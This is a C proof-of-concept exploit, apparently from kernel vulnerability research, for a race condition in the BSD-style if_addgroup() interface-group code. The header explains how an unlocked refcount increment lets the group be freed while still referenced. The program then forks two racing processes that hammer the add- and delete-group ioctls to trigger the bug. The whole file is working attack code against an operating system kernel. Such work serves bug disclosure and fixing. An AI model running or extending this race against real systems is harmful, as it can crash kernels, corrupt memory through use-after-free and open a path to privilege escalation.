/*
 * DF-3281 PoC v2 - privileged refcount race on if_addgroup().
 *
 * if_addgroup() (sys/net/if.c:1149-1193) releases ifgroup_lock before
 * executing `ifg->ifg_refcnt++` (line 1183) -- an unlocked, non-atomic
 * read-modify-write on the group refcount.  Two racers adding distinct
 * interfaces to the same group can lose an increment: the refcount falls
 * below the real membership count, a later if_delgroup_locked() drops it
 * to 0 while members remain, and if_destroygroup() kfree()s the group
 * with live ifgl/ifgm references => stale-pointer walks / state
 * divergence (and potential UAF panics).
 *
 * Design notes (post-DF-0272 landmine avoidance):
 *   - ONE racer per interface: the per-ifp membership scan in
 *     if_addgroup can then never return EEXIST benignly, and a
 *     single-threaded add->del->add cycle never returns ENOENT
 *     benignly.  Any ioctl error is therefore *proof* that the group
 *     bookkeeping desynchronized (or of the DF-0272 lock leak), and is
 *     printed as a MARKER by the racer before its next ioctl.
 *   - The parent performs no group ioctls at all.
 */
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <sys/wait.h>

#define GRP "rgrpB"

static int
grp_ioctl(int s, unsigned long cmd, const char *ifp)
{
	struct ifgroupreq ifgr;

	memset(&ifgr, 0, sizeof(ifgr));
	strlcpy(ifgr.ifgr_name, ifp, sizeof(ifgr.ifgr_name));
	strlcpy(ifgr.ifgr_group, GRP, sizeof(ifgr.ifgr_group));
	return ioctl(s, cmd, &ifgr);
}

static void
racer(const char *ifp, const char *tag)
{
	int s;
	unsigned long a = 0, d = 0;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) _exit(1);

	for (;;) {
		if (grp_ioctl(s, SIOCAIFGROUP, ifp) == 0) {
			a++;
		} else {
			printf("[racer%s] MARKER add(%s) errno=%d (%s) a=%lu d=%lu\n",
			       tag, ifp, errno, strerror(errno), a, d);
			fflush(stdout);
		}
		if (grp_ioctl(s, SIOCDIFGROUP, ifp) == 0) {
			d++;
		} else {
			printf("[racer%s] MARKER del(%s) errno=%d (%s) a=%lu d=%lu\n",
			       tag, ifp, errno, strerror(errno), a, d);
			fflush(stdout);
		}
		if ((a % 100000) == 0 && a != 0) {
			printf("[racer%s] alive a=%lu d=%lu\n", tag, a, d);
			fflush(stdout);
		}
	}
}

int main(void)
{
	pid_t pl, pv;
	int st;
	time_t t0 = time(NULL);

	/* racer L: lo0, racer V: vtnet0 -- same group, distinct ifps */
	pl = fork();
	if (pl == 0) { setvbuf(stdout, NULL, _IOLBF, 0); racer("lo0", "L"); _exit(0); }
	pv = fork();
	if (pv == 0) { setvbuf(stdout, NULL, _IOLBF, 0); racer("vtnet0", "V"); _exit(0); }

	printf("[race ] racers started (t=%ld)\n", time(NULL) - t0);
	fflush(stdout);

	/* let the race run */
	sleep(45);

	printf("[race ] collecting racer states (t=%ld)\n", time(NULL) - t0);
	fflush(stdout);
	kill(pl, SIGKILL);
	kill(pv, SIGKILL);
	waitpid(pl, &st, 0);
	waitpid(pv, &st, 0);
	printf("[race ] done (t=%ld)\n", time(NULL) - t0);
	fflush(stdout);
	return 0;
}
